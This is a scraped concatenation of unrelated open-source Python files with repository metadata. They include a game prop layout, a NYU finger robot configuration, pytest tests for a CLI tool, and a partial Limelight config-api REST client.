'models/props/shop_weapons_bucket_guns'}}, '1182542640.81kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(94.227, 0.0, 0.0), 'Pos': Point3(0.449, 46.336, 9.555), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table'}}, '1182542644.86kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(94.227, 0.0, 0.0), 'Pos': Point3(0.449, 46.336, 9.555), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table_gun'}}, '1182542695.67kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(-87.747, 0.0, 0.0), 'Pos': Point3(8.562, 45.933, 11.522), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/shop_weapons_rack_table'}}, '1182542703.51kmuller': {'Type': 'Interior_furnishings', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, -4.871), 'Pos': Point3(7.777, 45.945, 11.937), 'Scale': VBase3(1.0, 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workspace/module/python-2.7/LxBasic/bscModifiers/__init__.py

no7hings/Lynxi

43c745198a714c2e5aca86c6d7a014adeeb9abf7

[ "MIT" ]

2

2018-03-06T03:33:55.000Z

2019-03-26T03:25:11.000Z

workspace/module/python-2.7/LxBasic/bscModifiers/__init__.py

no7hings/lynxi

43c745198a714c2e5aca86c6d7a014adeeb9abf7

[ "MIT" ]

null

workspace/module/python-2.7/LxBasic/bscModifiers/__init__.py

no7hings/lynxi

43c745198a714c2e5aca86c6d7a014adeeb9abf7

[ "MIT" ]

null

# coding:utf-8 from ._bscMdfFunction import *

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Python

katas/kyu_7/alphabetize_by_nth_char.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

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2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

katas/kyu_7/alphabetize_by_nth_char.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

katas/kyu_7/alphabetize_by_nth_char.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

from operator import itemgetter def sort_it(lst, n): return ', '.join(sorted(lst.split(', '), key=itemgetter(n - 1)))

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tensorcanvas/__init__.py

PWhiddy/pytorch-draw

949139826623c4037bb70dca9df06d9bbbe06fc4

[ "MIT" ]

6

2020-09-21T15:16:26.000Z

2022-01-03T08:08:06.000Z

tensorcanvas/__init__.py

PWhiddy/pytorch-draw

949139826623c4037bb70dca9df06d9bbbe06fc4

[ "MIT" ]

null

tensorcanvas/__init__.py

PWhiddy/pytorch-draw

949139826623c4037bb70dca9df06d9bbbe06fc4

[ "MIT" ]

null

from .BaseShapes import *

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TORO/libs/toro/model_parser/__init__.py

IDA-TUBS/TORO

54bcf10a49aeed16b97a204e01603444a13444c2

[ "MIT" ]

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2022-01-31T09:19:00.000Z

2022-02-08T08:37:43.000Z

TORO/libs/toro/model_parser/__init__.py

IDA-TUBS/TORO

54bcf10a49aeed16b97a204e01603444a13444c2

[ "MIT" ]

null

TORO/libs/toro/model_parser/__init__.py

IDA-TUBS/TORO

54bcf10a49aeed16b97a204e01603444a13444c2

[ "MIT" ]

null

''' Created on 29.10.2020 :Authors: - Alex Bendrick ''' from .csv_parser import CSVParser # try: # from .amalthea_parser import AmaltheaParser # except: # print("-------------------------------------------------------------------\ # \nWarning: AmaltheaParser incomplete. check installation requirements\ # \n-------------------------------------------------------------------")

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django_analyses/models/output/types/__init__.py

TheLabbingProject/django_analyses

08cac40a32754a265b37524f08ec6160c69ebea8

[ "Apache-2.0" ]

1

2020-12-30T12:43:34.000Z

django_analyses/models/output/types/__init__.py

TheLabbingProject/django_analyses

08cac40a32754a265b37524f08ec6160c69ebea8

[ "Apache-2.0" ]

59

2019-12-25T13:14:56.000Z

2021-07-22T12:24:46.000Z

django_analyses/models/output/types/__init__.py

TheLabbingProject/django_analyses

08cac40a32754a265b37524f08ec6160c69ebea8

[ "Apache-2.0" ]

2

2020-05-24T06:44:27.000Z

2020-07-09T15:47:31.000Z

from django_analyses.models.output.types.file_output import FileOutput from django_analyses.models.output.types.float_output import FloatOutput from django_analyses.models.output.types.list_output import ListOutput

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src/robot_properties_nyu_finger/config.py

huaijiangzhu/robot_properties_nyu_finger

36772a00059af5f48b11656a1eba2ad8f878b376

[ "BSD-3-Clause" ]

null

src/robot_properties_nyu_finger/config.py

huaijiangzhu/robot_properties_nyu_finger

36772a00059af5f48b11656a1eba2ad8f878b376

[ "BSD-3-Clause" ]

null

src/robot_properties_nyu_finger/config.py

huaijiangzhu/robot_properties_nyu_finger

36772a00059af5f48b11656a1eba2ad8f878b376

[ "BSD-3-Clause" ]

4

2021-06-17T20:37:48.000Z

2021-08-09T02:31:25.000Z

"""config Store the configuration of the Solo family robots. License: BSD 3-Clause License Copyright (C) 2018-2021, New York University , Max Planck Gesellschaft Copyright note valid unless otherwise stated in individual files. All rights reserved. """ import numpy as np from math import pi from os.path import join, dirname from os import environ import pinocchio as se3 from pinocchio.utils import zero from pinocchio.robot_wrapper import RobotWrapper from robot_properties_nyu_finger.utils import find_paths class NYUFingerAbstract(object): """ Abstract class used for all NYUFinger robots. """ # PID gains kp = 5.0 kd = 0.1 ki = 0.0 # The Kt constant of the motor [Nm/A]: tau = I * Kt. motor_torque_constant = 0.025 # Control time period. control_period = 0.001 dt = control_period # MaxCurrent = 12 # Ampers max_current = 2 # Maximum torques. max_torque = motor_torque_constant * max_current # Maximum control one can send, here the control is the current. max_control = max_current # ctrl_manager_current_to_control_gain I am not sure what it does so 1.0. ctrl_manager_current_to_control_gain = 1.0 max_qref = pi @classmethod def buildRobotWrapper(cls): # Rebuild the robot wrapper instead of using the existing model to # also load the visuals. robot = RobotWrapper.BuildFromURDF( cls.urdf_path, cls.meshes_path ) robot.model.rotorInertia[6:] = cls.motor_inertia robot.model.rotorGearRatio[6:] = cls.motor_gear_ration return robot def joint_name_in_single_string(self): joint_names = "" for name in self.robot_model.names[2:]: joint_names += name + " " return joint_names class NYUFingerConfig(NYUFingerAbstract): robot_family = "nyu_finger" robot_name = "nyu_finger" paths = find_paths(robot_name) meshes_path = paths["resources"] dgm_yaml_dir = paths["dgm_yaml_dir"] dgm_yaml_path = paths["dgm_yaml"] urdf_path = paths["urdf"] # The inertia of a single blmc_motor. motor_inertia = 0.0000045 # The motor gear ratio. motor_gear_ration = 9.0 # pinocchio model. pin_robot = RobotWrapper.BuildFromURDF( urdf_path, meshes_path ) pin_robot.model.rotorInertia[6:] = motor_inertia pin_robot.model.rotorGearRatio[6:] = motor_gear_ration robot_model = pin_robot.model mass = np.sum([i.mass for i in robot_model.inertias]) # End effectors informations end_effector_names = ['finger_lower_to_tip_joint'] end_eff_ids = [robot_model.getFrameId('finger_lower_to_tip_joint')] nb_ee = len(end_effector_names) # The number of motors, here they are the same as there are only revolute # joints. nb_joints = robot_model.nv - 6 joint_names = ["finger_base_to_upper_joint", "finger_upper_to_middle_joint", "finger_middle_to_lower_joint"] # Mapping between the ctrl vector in the device and the urdf indexes. urdf_to_dgm = tuple(range(3)) map_joint_name_to_id = {} map_joint_limits = {} for i, (name, lb, ub) in enumerate( zip( robot_model.names[1:], robot_model.lowerPositionLimit, robot_model.upperPositionLimit, ) ): map_joint_name_to_id[name] = i map_joint_limits[i] = [float(lb), float(ub)] # Define the initial state. initial_configuration = [0., 0., 0.] initial_velocity = [0., 0., 0.] q0 = zero(robot_model.nq) q0[:] = initial_configuration v0 = zero(robot_model.nv) a0 = zero(robot_model.nv) class NYUFingerDoubleConfig0(NYUFingerConfig): robot_family = "nyu_finger" robot_name = "nyu_finger_double0" paths = find_paths(robot_name) meshes_path = paths["resources"] dgm_yaml_dir = paths["dgm_yaml_dir"] dgm_yaml_path = paths["dgm_yaml"] urdf_path = paths["urdf"] # The inertia of a single blmc_motor. motor_inertia = 0.0000045 # The motor gear ratio. motor_gear_ration = 9.0 # pinocchio model. pin_robot = RobotWrapper.BuildFromURDF( urdf_path, meshes_path ) pin_robot.model.rotorInertia[6:] = motor_inertia pin_robot.model.rotorGearRatio[6:] = motor_gear_ration robot_model = pin_robot.model mass = np.sum([i.mass for i in robot_model.inertias]) # End effectors informations end_effector_names = ['finger0_lower_to_tip_joint'] end_eff_ids = [robot_model.getFrameId('finger0_lower_to_tip_joint')] nb_ee = len(end_effector_names) # The number of motors, here they are the same as there are only revolute # joints. nb_joints = robot_model.nv - 6 joint_names = ["finger0_base_to_upper_joint", "finger0_upper_to_middle_joint", "finger0_middle_to_lower_joint"] # Mapping between the ctrl vector in the device and the urdf indexes. urdf_to_dgm = tuple(range(3)) map_joint_name_to_id = {} map_joint_limits = {} for i, (name, lb, ub) in enumerate( zip( robot_model.names[1:], robot_model.lowerPositionLimit, robot_model.upperPositionLimit, ) ): map_joint_name_to_id[name] = i map_joint_limits[i] = [float(lb), float(ub)] # Define the initial state. initial_configuration = [0., 0., 0.] initial_velocity = [0., 0., 0.] q0 = zero(robot_model.nq) q0[:] = initial_configuration v0 = zero(robot_model.nv) a0 = zero(robot_model.nv) class NYUFingerDoubleConfig1(NYUFingerConfig): robot_family = "nyu_finger" robot_name = "nyu_finger_double1" paths = find_paths(robot_name) meshes_path = paths["resources"] dgm_yaml_dir = paths["dgm_yaml_dir"] dgm_yaml_path = paths["dgm_yaml"] urdf_path = paths["urdf"] # The inertia of a single blmc_motor. motor_inertia = 0.0000045 # The motor gear ratio. motor_gear_ration = 9.0 # pinocchio model. pin_robot = RobotWrapper.BuildFromURDF( urdf_path, meshes_path ) pin_robot.model.rotorInertia[6:] = motor_inertia pin_robot.model.rotorGearRatio[6:] = motor_gear_ration robot_model = pin_robot.model mass = np.sum([i.mass for i in robot_model.inertias]) # End effectors informations end_effector_names = ['finger1_lower_to_tip_joint'] end_eff_ids = [robot_model.getFrameId('finger1_lower_to_tip_joint')] nb_ee = len(end_effector_names) # The number of motors, here they are the same as there are only revolute # joints. nb_joints = robot_model.nv - 6 joint_names = ["finger1_base_to_upper_joint", "finger1_upper_to_middle_joint", "finger1_middle_to_lower_joint"] # Mapping between the ctrl vector in the device and the urdf indexes. urdf_to_dgm = tuple(range(3)) map_joint_name_to_id = {} map_joint_limits = {} for i, (name, lb, ub) in enumerate( zip( robot_model.names[1:], robot_model.lowerPositionLimit, robot_model.upperPositionLimit, ) ): map_joint_name_to_id[name] = i map_joint_limits[i] = [float(lb), float(ub)] # Define the initial state. initial_configuration = [0., 0., 0.] initial_velocity = [0., 0., 0.] q0 = zero(robot_model.nq) q0[:] = initial_configuration v0 = zero(robot_model.nv) a0 = zero(robot_model.nv) class NYUFingerDoubleConfig(NYUFingerAbstract): robot_family = "nyu_finger" robot_name = "nyu_finger_double" paths = find_paths(robot_name) meshes_path = paths["resources"] dgm_yaml_path = paths["dgm_yaml"] urdf_path = paths["urdf"] # The inertia of a single blmc_motor. motor_inertia = 0.0000045 # The motor gear ratio. motor_gear_ration = 9.0 # pinocchio model. pin_robot_wrapper = RobotWrapper.BuildFromURDF( urdf_path, meshes_path ) pin_robot_wrapper.model.rotorInertia[6:] = motor_inertia pin_robot_wrapper.model.rotorGearRatio[6:] = motor_gear_ration pin_robot = pin_robot_wrapper robot_model = pin_robot_wrapper.model mass = np.sum([i.mass for i in robot_model.inertias]) # End effectors informations end_effector_names = ['finger0_lower_to_tip_joint', 'finger1_lower_to_tip_joint'] end_eff_ids = [robot_model.getFrameId('finger0_lower_to_tip_joint'), robot_model.getFrameId('finger1_lower_to_tip_joint')] nb_ee = len(end_effector_names) # The number of motors, here they are the same as there are only revolute # joints. nb_joints = robot_model.nv - 6 joint_names = ["finger0_base_to_upper_joint", "finger0_upper_to_middle_joint", "finger0_middle_to_lower_joint", "finger1_base_to_upper_joint", "finger1_upper_to_middle_joint", "finger1_middle_to_lower_joint"] # Mapping between the ctrl vector in the device and the urdf indexes. urdf_to_dgm = tuple(range(3)) map_joint_name_to_id = {} map_joint_limits = {} for i, (name, lb, ub) in enumerate( zip( robot_model.names[1:], robot_model.lowerPositionLimit, robot_model.upperPositionLimit, ) ): map_joint_name_to_id[name] = i map_joint_limits[i] = [float(lb), float(ub)] # Define the initial state. initial_configuration = [0., 0., 0., 0., 0., 0.] initial_velocity = [0., 0., 0., 0., 0., 0.] q0 = zero(robot_model.nq) q0[:] = initial_configuration v0 = zero(robot_model.nv) a0 = zero(robot_model.nv)

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null

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6

49c1ec1f18ad41131ef571a0c4b933ccd872ed1f

244

py

Python

gammapy/obs/tests/test_datastore.py

joleroi/gammapy

c4e0c4bd74c79d30e0837559d18b7a1a269f70d9

[ "BSD-3-Clause" ]

null

gammapy/obs/tests/test_datastore.py

joleroi/gammapy

c4e0c4bd74c79d30e0837559d18b7a1a269f70d9

[ "BSD-3-Clause" ]

null

gammapy/obs/tests/test_datastore.py

joleroi/gammapy

c4e0c4bd74c79d30e0837559d18b7a1a269f70d9

[ "BSD-3-Clause" ]

null

# Licensed under a 3-clause BSD style license - see LICENSE.rst from __future__ import print_function, division from ...obs import DataStore def test_DataStore(): # data_store = DataStore(dir='TODO') # TODO: add tests assert True

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6

49cf5cf0e7bc89ef11be3af53e252f61d08a8d82

71

py

Python

hdre/__init__.py

freedomtowin/high-density-region-estimator

a9c4d30c32d8f6ce16d2bc0712bdcc588124ed61

[ "MIT" ]

1

2021-12-29T14:43:36.000Z

hdre/__init__.py

freedomtowin/high-density-region-estimator

a9c4d30c32d8f6ce16d2bc0712bdcc588124ed61

[ "MIT" ]

null

hdre/__init__.py

freedomtowin/high-density-region-estimator

a9c4d30c32d8f6ce16d2bc0712bdcc588124ed61

[ "MIT" ]

null

from .hdre_bycython import * #from .hdre.hdr_helpers_bycython import *

23.666667

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6

b712cd4e347543b8ab1a1fc4fdc38bbc0433dcb9

2,886

py

Python

tests/test_clr.py

ColorGenomics/clr

a444a0612374a19f22e511b5e3514a60561e6160

[ "MIT" ]

2

2016-03-09T02:15:35.000Z

2016-03-10T12:25:27.000Z

tests/test_clr.py

color/clr

a444a0612374a19f22e511b5e3514a60561e6160

[ "MIT" ]

7

2021-04-28T03:12:55.000Z

2021-10-07T21:13:20.000Z

tests/test_clr.py

color/clr

a444a0612374a19f22e511b5e3514a60561e6160

[ "MIT" ]

3

2017-08-21T18:43:02.000Z

2019-04-03T01:14:36.000Z

import pytest import clr def test_argtest(capsys): def check(args, expected): with pytest.raises(SystemExit) as e: clr.main(["clr", "argtest"] + args) captured = capsys.readouterr() assert expected in captured.out assert e.value.code == 0 def check_failure(args, expected): with pytest.raises(SystemExit) as e: clr.main(["clr", "argtest"] + args) captured = capsys.readouterr() assert expected in captured.err assert e.value.code != 0 check(["1", "2"], "a=1 b=2 c=4 d=None e=False f=True") check(["11", "2", "3"], "a=11 b=2 c=3 d=None e=False f=True") check(["1", "2", "3", "4"], "a=1 b=2 c=3 d=4 e=False f=True") check(["1", "2", "3", "4", "--e"], "a=1 b=2 c=3 d=4 e=True f=True") check(["1", "2", "--c=3"], "a=1 b=2 c=3 d=None e=False f=True") check(["1", "2", "--c", "3"], "a=1 b=2 c=3 d=None e=False f=True") check(["1", "2", "--c=3", "--d=4"], "a=1 b=2 c=3 d=4 e=False f=True") check(["1", "2", "--d=4", "--c=3"], "a=1 b=2 c=3 d=4 e=False f=True") check(["1", "2", "--d=3"], "a=1 b=2 c=4 d=3 e=False f=True") check(["1", "2", "--nof", "--e"], "a=1 b=2 c=4 d=None e=True f=False") check(["1", "2", "--nof", "--noe"], "a=1 b=2 c=4 d=None e=False f=False") check_failure(["1"], "one of the arguments --b b is required") check_failure( ["11", "2", "--c=ccc"], "error: argument --c: invalid int value: 'ccc'" ) check(["1", "--b=2"], "a=1 b=2 c=4 d=None e=False f=True") check(["--a", "1", "--b=2"], "a=1 b=2 c=4 d=None e=False f=True") check( ["--a", "aaa", "--b", "bbb", "--c", "333", "--d", "ddd", "--e", "--nof"], "a=aaa b=bbb c=333 d=ddd e=True f=False", ) def test_argtest2(capsys): def check(args, expected): with pytest.raises(SystemExit) as e: clr.main(["clr", "argtest2"] + args) captured = capsys.readouterr() assert expected in captured.out assert e.value.code == 0 def check_failure(args, expected): with pytest.raises(SystemExit) as e: clr.main(["clr", "argtest2"] + args) captured = capsys.readouterr() assert expected in captured.err assert e.value.code != 0 check(["1", "2"], "a=1 b=2 c=() d=4 e=None f=False g=") check(["11", "2", "3"], "a=11 b=2 c=('3',) d=4 e=None f=False g=") check(["11", "2", "3", "4"], "a=11 b=2 c=('3', '4') d=4 e=None f=False g=") check( ["11", "2", "3", "4", "a", "b"], "a=11 b=2 c=('3', '4', 'a', 'b') d=4 e=None f=False g=", ) check_failure(["11"], "the following arguments are required: b") check(["11", "2", "3", "4", "--f"], "a=11 b=2 c=('3', '4') d=4 e=None f=True g=") check( ["11", "2", "3", "4", "--g=ggg", "--e=eee"], "a=11 b=2 c=('3', '4') d=4 e=eee f=False g=ggg", )

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null

0

6

b728f97782e01b78c54ee968d32bdf2806837d8b

35

py

Python

src/neuropsymodelcomparison/dataio/__init__.py

OlafHaag/NeuroPsyResearchAnalysis

83d750310ee2467979d503d2fb4b6011ead9e9fc

[ "MIT" ]

null

src/neuropsymodelcomparison/dataio/__init__.py

OlafHaag/NeuroPsyResearchAnalysis

83d750310ee2467979d503d2fb4b6011ead9e9fc

[ "MIT" ]

null

src/neuropsymodelcomparison/dataio/__init__.py

OlafHaag/NeuroPsyResearchAnalysis

83d750310ee2467979d503d2fb4b6011ead9e9fc

[ "MIT" ]

null

from .dbactions import get_db_table

35

0.885714

6

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null

0

1

0

1

0

1

0

6

b734e1a92b6783d0155a3949a674fb9b33e37851

45,810

py

Python

sdk/config_api.py

llnw/llnw-sdk-python

0b3614e0e1f0b64c90d95ebd219646ea62d5efb4

[ "Apache-2.0" ]

5

2020-07-31T16:43:57.000Z

2021-11-04T16:51:58.000Z

sdk/config_api.py

llnw/llnw-sdk-python

0b3614e0e1f0b64c90d95ebd219646ea62d5efb4

[ "Apache-2.0" ]

null

sdk/config_api.py

llnw/llnw-sdk-python

0b3614e0e1f0b64c90d95ebd219646ea62d5efb4

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import json from urllib.parse import parse_qs from sdk.base_client import BaseRestAuthClient __all__ = ['ConfigApiClient'] __docformat__ = 'restructuredtext' class ConfigApiClient(BaseRestAuthClient): """ Rest client for Limelight Public config-api """ def __init__(self, hostname, username, api_shared_key, schema=None, port=None, context=None, default_headers=None, timeout=None): context = context or 'config-api/v1' schema = schema or 'https' port = port or '80' self.timeout = timeout or 30 super(ConfigApiClient, self).__init__(hostname, context, username, api_shared_key, schema, port, default_headers) def _common_get(self, request_path, timeout=None, **kwargs): parameters = {} timeout = timeout or self.timeout if 'size' in kwargs and kwargs['size'] is not None: parameters["size"] = str(kwargs['size']) if 'page' in kwargs and kwargs['page'] is not None: parameters["page"] = str(kwargs['page']) if 'limit' in kwargs and kwargs['limit'] is not None: parameters["limit"] = str(kwargs['limit']) if 'parameters' in kwargs and kwargs['parameters'] is not None: parameters.update(parse_qs(kwargs['parameters'])) return self.get(request_path=request_path, params=parameters, timeout=timeout) def _common_post(self, request_path, body=None, timeout=None, **kwargs): timeout = timeout or self.timeout return self.post(request_path=request_path, data=json.dumps(body), timeout=timeout) def _common_put(self, request_path, body=None, timeout=None, **kwargs): timeout = timeout or self.timeout return self.put(request_path=request_path, data=json.dumps(body), timeout=timeout) def _common_delete(self, request_path, body=None, timeout=None, **kwargs): timeout = timeout or self.timeout return self.delete(request_path=request_path, data=json.dumps(body), timeout=timeout) # -------------------- Config API -------------------- # def request(self, **kwargs): """ General wrapper method :param kwargs: list of argument from action method action type service """ if not hasattr(self, kwargs['action']): raise AttributeError(f'action {kwargs["action"]} not exist') action = kwargs.pop('action') return getattr(self, action)(**kwargs) def request_js(self, **kwargs): """ General wrapper method :param kwargs: list of argument from action method """ _action = 'get' # possible values - get, search, validate, create, update, delete # _type = 'instance' # profile(svcprof), instance(svcinst), option(option) _service = 'delivery' # applicable only for deliver/httpsc, m_action = getattr(kwargs, 'action', _action) m_service = getattr(kwargs, 'service', _service) m_type = getattr(kwargs, 'type', None) if m_type is None: method_name = f'{m_action}_{m_service}' else: method_name = f'{m_action}_{m_service}_{m_type}' if not hasattr(self, method_name): raise AttributeError(f'action {method_name} not exist') return getattr(self, method_name)(**kwargs) # -------------------- Config API -------------------- # def get_health_check(self): """ Light way to check if API is alive. """ self.logger.debug("Getting health/check for service Config API") request_path = 'health/check' return self._common_get(request_path) def get_status(self): """ Check API status, version, etc. """ self.logger.debug("Getting Config APIs Status") request_path = 'utils/status' return self._common_get(request_path) # -------------------- Content Delivery - Get Info -------------------- # def list_delivery_service_instances(self, shortname, size=None, page=None): """ Retrieves the delivery configurations for the provided shortname :param shortname: str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug(f"Getting Delivery ServiceInstances for shortname [{shortname}]") request_path = f'svcinst/delivery/shortname/{shortname}' return self._common_get(request_path, size=size, page=page) def list_delivery_service_profiles(self, shortname, size=None, page=None): """ Retrieves the delivery service profiles per the specified shortname. :param shortname: str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug(f"Getting Delivery ServiceProfiles for shortname [{shortname}]") request_path = f'svcprof/delivery/shortname/{shortname}' return self._common_get(request_path, size=size, page=page) def search_delivery_service_profiles(self, shortname, parameters=None, size=None, page=None): """ Retrieves the delivery service profiles per the specified shortname per provided searching criteria. :param shortname: str :param parameters: (optional) Searching criteria (e.i. body.useCase=DownloadLargeFile) str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug( f"Searching Delivery ServiceProfile for shortname [{shortname}], criteria [{parameters}]") request_path = f'svcprof/delivery/shortname/{shortname}/search' return self._common_get(request_path, size=size, page=page, parameters=parameters) def search_delivery_service_instance(self, shortname, parameters=None, size=None, page=None): """ Retrieves the delivery service instances per the specified shortname per provided searching criteria. :param shortname: str :param parameters: (optional) Searching criteria (e.i. body.useCase=DownloadLargeFile) str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug( f"Searching Delivery ServiceProfile for shortname [{shortname}], criteria [{parameters}]") request_path = f'svcinst/delivery/shortname/{shortname}/searchAuto' return self._common_get(request_path, size=size, page=page, parameters=parameters) def get_delivery_service_profiles(self, shortname, uuid): """ Retrieves the delivery service profiles per the specified shortname by uuid. :param shortname: str :param uuid: str """ self.logger.debug(f"Get Delivery ServiceProfile for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcprof/delivery/shortname/{shortname}/{uuid}' return self._common_get(request_path) def get_delivery_service_instance(self, uuid): """ Retrieves the delivery service instance per the specified shortname by uuid. :param uuid: str """ self.logger.debug( f"Get Delivery ServiceProfile by uuid [{uuid}]") request_path = f'svcinst/delivery/{uuid}' return self._common_get(request_path) def list_delivery_service_instance_version(self, shortname, uuid): """ Retrieves the delivery service instance versions or specific version. :param shortname: str :param uuid: str :param version: int """ self.logger.debug(f"Get Delivery ServiceProfile versions for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcinst/delivery/{uuid}/versions' return self._common_get(request_path) def get_delivery_service_instance_version(self, shortname, uuid, version): """ Retrieves the delivery service instance versions or specific version. :param shortname: str :param uuid: str :param version: int """ self.logger.debug( f"Get Delivery ServiceProfile version [{version}] for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcinst/delivery/{uuid}/versions/{version}' return self._common_get(request_path) def list_configuration_options(self, shortname, profile_name): """ Retrieves the list of available configOptions for shortname per service profile (delivery or httpcs). :param shortnme: str :param profile_name: str """ self.logger.debug(f"Getting available ConfigOption for shortname [{shortname}]") request_path = f'configoption/shortname/{shortname}/svcProf/{profile_name}' return self._common_get(request_path) # -------------------- Content Delivery - Make changes -------------------- # def validate_delivery_service_instance(self, delivery_config): """ Validates the delivery service instance (without creating). :param delivery_config: json always return 200 code. Contains field 'Success': True/False True - config valid and can be created. False - config contain errors that will be specified in response body. """ self.logger.debug("Validating delivery service instance config") request_path = 'svcinst/delivery/validate' return self._common_post(request_path, body=delivery_config) def create_delivery_service_instance(self, delivery_config): """ Creates the delivery service instance :param delivery_config: json """ self.logger.debug("Creating delivery service instance config") request_path = 'svcinst/delivery' return self._common_post(request_path, body=delivery_config) def update_delivery_service_instance(self, uuid, delivery_config): """ Updates the delivery service instance (Full object update) :param uuid: str :param delivery_config: json """ self.logger.debug(f"Updating delivery service instance with uuid [{uuid}]") request_path = f'svcinst/delivery/{uuid}' return self._common_put(request_path, body=delivery_config) def delete_delivery_service_instance(self, uuid): """ Deletes the delivery service instance :param uuid: json """ self.logger.debug(f"Deleting delivery service instance with uuid [{uuid}]") request_path = f'svcinst/delivery/{uuid}' return self._common_delete(request_path) def inherit_delivery_service_instance(self, config, parent_uuid): """ Allows creates delivery service instance with inheritance from parent config :param config: json :param parent_uuid: uuid """ self.logger.debug("Inheriting delivery service instance") request_path = f'svcinst/delivery/inheritance?parentId={parent_uuid}' return self._common_post(request_path, body=config) def rollback_delivery_service_instance(self, uuid, version): """ Allows rollback config to a specific historical version :param uuid: uuid :param version: int :return: """ self.logger.debug(f"Posting config rollback for service instance [{uuid}]") request_path = f'svcinst/delivery/{uuid}/rollbackTo/{version}' return self._common_post(request_path, body=None) def clone_delivery_service_instance(self, published_host, source_host, parent_uuid): """ Allows clone configuration in correct waywith new published_host, source_host :param published_host: str :param source_host: str :param parent_uuid: uuid """ config = self.get_delivery_service_instance(parent_uuid) if not config.status_code == 200: raise BaseException(config.json()) config = config.json() del config['revision'] del config['shortname'] del config['status'] del config['uuid'] config['body']['sourceHostname'] = source_host config['body']['publishedHostname'] = published_host return self.inherit_delivery_service_instance(config, parent_uuid=parent_uuid) # -------------------- HTTP chunk streaming - Make changes -------------------- # def list_httpcs_service_instances(self, shortname, size=None, page=None): """ Retrieves the httpcs configurations for the provided shortname :param shortname: str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug(f"Getting Delivery ServiceInstances for shortname [{shortname}]") request_path = f'svcinst/httpcs/shortname/{shortname}' return self._common_get(request_path, size=size, page=page) def list_httpcs_service_profiles(self, shortname, size=None, page=None): """ Retrieves the httpcs service profiles per the specified shortname. :param shortname: str :param size: (optional) Default 100. int :param page: (optional) Default is 1. int """ self.logger.debug(f"Getting Delivery ServiceProfiles for shortname [{shortname}]") request_path = f'svcprof/httpcs/shortname/{shortname}' return self._common_get(request_path, size=size, page=page) def search_httpcs_service_profiles(self, shortname, parameters=None, size=None, page=None): """ Retrieves the httpcs service profiles per the specified shortname per provided searching criteria. :param shortname: str :param parameters: (optional) Searching criteria (e.i. body.useCase=DownloadLargeFile) str :param size: (optional) Default 100. str :param page: (optional) Default is 1. str """ self.logger.debug( f"Searching Delivery ServiceProfile for shortname [{shortname}], criteria [{parameters}]") request_path = f'svcprof/httpcs/shortname/{shortname}/search' return self._common_get(request_path, size=size, page=page, parameters=parameters) def search_httpcs_service_instance(self, shortname, parameters=None, size=None, page=None): """ Retrieves the httpcs service instances per the specified shortname per provided searching criteria. :param shortname: str :param parameters: (optional) Searching criteria (e.i. body.useCase=DownloadLargeFile) str :param size: (optional) Default 100. str :param page: (optional) Default is 1. str """ self.logger.debug( f"Searching Delivery ServiceProfile for shortname [{shortname}], criteria [{parameters}]") request_path = f'svcinst/httpcs/shortname/{shortname}/searchAuto' return self._common_get(request_path, size=size, page=page, parameters=parameters) def get_httpcs_service_profiles(self, shortname, uuid): """ Retrieves the httpcs service profiles per the specified shortname by uuid. :param shortname: str :param uuid: str """ self.logger.debug(f"Get Delivery ServiceProfile for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcprof/httpcs/shortname/{shortname}/{uuid}' return self._common_get(request_path) def get_httpcs_service_instance(self, uuid): """ Retrieves the httpcs service instance per the specified shortname by uuid. :param uuid: str """ self.logger.debug( f"Get Delivery ServiceProfile by uuid [{uuid}]") request_path = f'svcinst/httpcs/{uuid}' return self._common_get(request_path) def list_httpcs_service_instance_version(self, shortname, uuid): """ Retrieves the httpcs service instance versions or specific version. :param shortname: str :param uuid: str :param version: int """ self.logger.debug(f"Get Delivery ServiceProfile version(s) for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcinst/httpcs/{uuid}/versions' return self._common_get(request_path) def get_httpcs_service_instance_version(self, shortname, uuid, version): """ Retrieves the httpcs service instance versions or specific version. :param shortname: str :param uuid: str :param version: int """ self.logger.debug( f"Get Delivery ServiceProfile version [{version}] for shortname [{shortname}] by uuid [{uuid}]") request_path = f'svcinst/httpcs/{uuid}/versions/{version}' return self._common_get(request_path) # -------------------- Content Delivery - Make changes -------------------- # def validate_httpcs_service_instance(self, httpcs_config): """ Validates the httpcs service instance (without creating). :param httpcs_config: json :return: always return 200 code. Contains field 'Success': True/False True - config valid and can be created. False - config contain errors that will be specified in response body. """ self.logger.debug("Validating httpcs service instance config") request_path = 'svcinst/httpcs/validate' return self._common_post(request_path, body=httpcs_config) def create_httpcs_service_instance(self, httpcs_config): """ Creates the httpcs service instance :param httpcs_config: json """ self.logger.debug("Creating httpcs service instance config") request_path = 'svcinst/httpcs' return self._common_post(request_path, body=httpcs_config) def update_httpcs_service_instance(self, uuid, httpcs_config): """ Updates the httpcs service instance (Full object update) :param uuid: str :param httpcs_config: json """ self.logger.debug(f"Updating httpcs service instance with uuid [{uuid}]") request_path = f'svcinst/httpcs/{uuid}' return self._common_put(request_path, body=httpcs_config) def delete_httpcs_service_instance(self, uuid): """ Deletes the httpcs service 